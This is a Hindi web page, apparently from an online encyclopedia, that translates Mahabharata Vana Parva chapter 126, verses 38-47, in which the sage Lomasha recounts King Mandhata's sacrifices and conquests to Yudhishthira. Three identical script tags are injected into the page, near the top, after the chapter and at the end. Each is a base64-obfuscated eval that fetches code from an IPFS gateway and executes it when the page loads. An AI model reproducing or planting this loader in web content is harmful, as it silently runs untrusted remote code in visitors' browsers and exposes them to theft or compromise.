महाभारत वन पर्व अध्याय 126 श्लोक 38-47

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

षडविंशत्‍यधि‍कशततम (126) अध्‍याय: वन पर्व (तीर्थयात्रापर्व )

महाभारत: वन पर्व: षडविंशत्‍यधि‍कशततम अध्‍याय: श्लोक 38-47 का हिन्दी अनुवाद

राजन महातेजस्वी एवं परम कान्तिमान राजा मान्धाता ने यज्ञमण्डलों का निमार्ण करके पर्याप्त धर्म का सम्पादन किया और उसी के फल से स्वर्गलोक में इन्द्र का आधा सिंहासन प्राप्त कर लिया । उन धर्मपरायण बुद्धिमान नरेश ने केवल शासनमात्र से एक ही दिन में समुद्र, खान और नगरों सहित सारी पृथ्वी पर विजय प्राप्त कर ली । महाराज उनके दक्षि‍णा युक्त यज्ञों के चैत्यों ( यज्ञ मण्डपों के चारों ओर) की पृथ्वी भर गयी, हीं कोई भी स्थान ऐसा नहीं था, जो उनके यज्ञमण्डपों से घि‍रा न हो । महाराज महात्मा राजा मान्धाता ने दस हजार पद्य गौएं ब्राह्मणों को दान में दी थीं, ऐसा जानकार लोग कहते हैं । उन महात्मा नरेश के बारह वर्षों तक होनेवाली अनावृष्‍टि‍ के समय वज्रधारी इन्द्र के देखते देखते खेती की उन्नति के लिये स्वयं पानी की वर्षा की थी । उन्होंने महामेध के समान गर्जते हुए महापराक्रमी चन्द्रवंशी गान्धारराज को बाणों से धायल करके मार डाला था । युधिष्‍ठि‍र वे अपने मन को वश में रखते थे । उन्होंने अपने तपोबल से देवता, मनुष्‍य, तिर्थक और स्थावर- चार प्रकार की प्रजा की रक्षा की थी; साथ ही अपने अत्यन्त तेज से सम्पूर्ण लोकों को संतप्त कर दिया था । सूर्य के समान तेजस्वी उन्हीं महाराज मान्धाता के देव यज्ञ का यह स्थान है, जो कुरुक्षेत्र की सीमा के भीतर परम पवित्र प्रदेश स्थित है, इसका दर्शन करो । राजेन्द्र महाराज मान्धाता की भांति तुम भी धर्मपूर्वक पृथ्वी की रक्षा करते रहने पर अक्षय स्वर्गलोक को प्राप्त कर लोगे । भूपाल तुम मुझसे जिसके विषय में पूछ रहे थे, वह मान्धाता का उत्तम वृत्तान्त और उनका महान चरित्र सब कुछ तुम्हें सुना दिया । वैशम्पायनजी कहते हैं- भारत महर्षि‍ लोमया के ऐसा कहने पर कुन्तीकुमार युधिष्‍ठि‍र ने पुन: सोमक के विषय में प्रश्न किया ।

इस प्रकार श्रीमहाभारत वनपर्व के अन्तर्गत तीर्थयात्रा पर्व में लोमशतीर्थ यात्रा के पसंग में मान्धातोपाख्यान वि‍षयक एक सौ छब्बीसवां अध्याय पूरा हुआ ।



« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>